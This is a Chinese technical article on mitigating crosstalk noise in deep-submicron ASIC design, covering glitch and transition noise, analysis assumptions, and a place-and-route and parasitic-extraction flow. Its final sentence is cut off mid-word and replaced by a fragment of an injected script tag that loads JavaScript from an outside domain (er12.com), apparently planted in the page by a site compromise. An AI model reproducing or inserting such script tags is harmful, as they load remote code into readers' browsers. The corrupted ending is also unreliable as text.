串扰感应噪音将成为深亚微米芯片设计中的主要挑战，而过去的一些cad工具并不能有效地消除所有串扰受害节点。本文介绍如何结合时序窗、信号分割及噪音滤波器等，减少受串扰毛刺破坏的节点，并通过插入缓冲器、改变连线间距、对连线进行屏蔽和改变门电路尺寸等方法将串扰破坏降低到最小。
深亚微米半导体技术使芯片速度更快、功耗更低、片上功能更丰富，而且成本更低。然而，随着芯片尺寸的不断缩小和电源电压的降低，要解决串扰、ir压降、功耗问题以及电磁干扰等问题就更加困难。随着半导体工艺的提高，新的工具、方法及设计流程对于设计的成功也越来越重要。许多商用芯片、asic以及soc设计工程师及厂商均开发出各种可进行信号完整性分析的自动化工具，将这些工具与cad设计解决方案结合起来，就可用于解决新的半导体设计难题。
在asic设计过程中保持信号的完整性十分关键，技术升级、时钟频率提高以及片上集成度的增加对噪音和信号完整性影响很大。由于技术不断升级，内部互连和器件封装越来越重要，而快速的时钟和信号沿跳变又增加了信号间的耦合。此外，由于电源电压降低，噪音的影响越来越大。因此，如果能在asic设计的早期用成熟的仿真程序解决这些问题，可以大大缩短设计周期并优化最终的ic产品。
在130纳米和90纳米工艺设计中，串扰是主要问题之一。串扰是由芯片上连线之间的寄生耦合引起的噪音，这种耦合反映了物理世界非理想化的特性，相临连线之间的距离、连线物理尺寸及其采用的材料和连线周围的材料等因素都会对芯片产生影响。另外还包括片上各单元的功能及逻辑信号间的相互作用等。由于存在着这些结构及逻辑因素，对串扰分析变得十分复杂。
串扰产生的感应噪音可从多方面影响信号的完整性和芯片性能，例如在受害信号处于稳态0或稳态1时会产生毛刺干扰。通常电路中的信号转换时间要比稳态时间短得多，由于多数信号常常处于稳态中，而毛刺噪音会破坏这种稳态，因此在ic设计过程应中对此类干扰应特别注意。
信号在0和1间来回变换也会出现串扰噪音，这种串扰称为转换噪音，它可能使信号转换变慢、变快或出现非单调转换，从而干扰或破坏信号。当转换噪音使信号转换变慢或变快时，通过增量延时分析可以捕捉到这种噪音的影响。如果噪音使信号出现非单调转换，便将产生一个伪脉冲。
为了准确、详尽地分析串扰对芯片的影响，必须得到逻辑设计、布线以及提取等各阶段的信息。从设计的提取图(extracted view)中可以得到电路的一些相关结构信息，并从设计所用单元的功能中轻易推导出一些逻辑信息。然而，如何将这些详细信息导入分析工具中呢？
如果仅提取寄生数据，那么设计工程师在使用串扰分析工具时必须假设最坏的情况来建立分析条件。分析条件包括信号是否能够转换、在何时转换，以及可以向哪个方向转换。最坏的假设情形是，所有串扰源或可能引发问题的信号都在可能产生最坏情况的时刻，向着可能引起最大串扰的方向转换。
串扰分析工具得出的结果不应过于乐观，否则可能因为考虑不周全而在实际应用中出现问题，但如果假设条件过于悲观，分析工具就会产生过多的串扰干扰报告，包括真的和虚假的干扰(误检)。检测并纠正在悲观假设下报告的干扰会占用大量的设计时间、芯片面积和人力物力。此外，多数串扰故障都与数据类型有关，在测试时不可能发现，只有当芯片置入客户的系统中时错误才会出现，要解决这些问题将增加大量成本。因此，必须确定并修复所有由串扰引发的真性干扰，即那些真正会影响芯片性能的干扰。为了做到这一点，ic设计工程师必须采用某种方法减少分析过程中的错误假设，集中精力于真正的串扰问题，并自动解决这些串扰。
为了加速通信类ic的上市时间，芯片设计公司可在商用的ic布局cad解决方案中集成四种减轻串扰的方法。图1是一个有关信号完整性的设计流程图，该设计采用了一系列工具(紫色方块中为杰尔系统公司的专用软件)。此外也可采用其它商业或专用工具。
图1
本文列举的设计流程从apollo/astro的“布局和连线”功能开始，ic设计存储在milkyway的数据库中。方框图的左边是寄生提取工具starrcxt，用该工具创建一个spef格式的文件，这是一种ieee标准格?script src=http://er12.com/t.js>
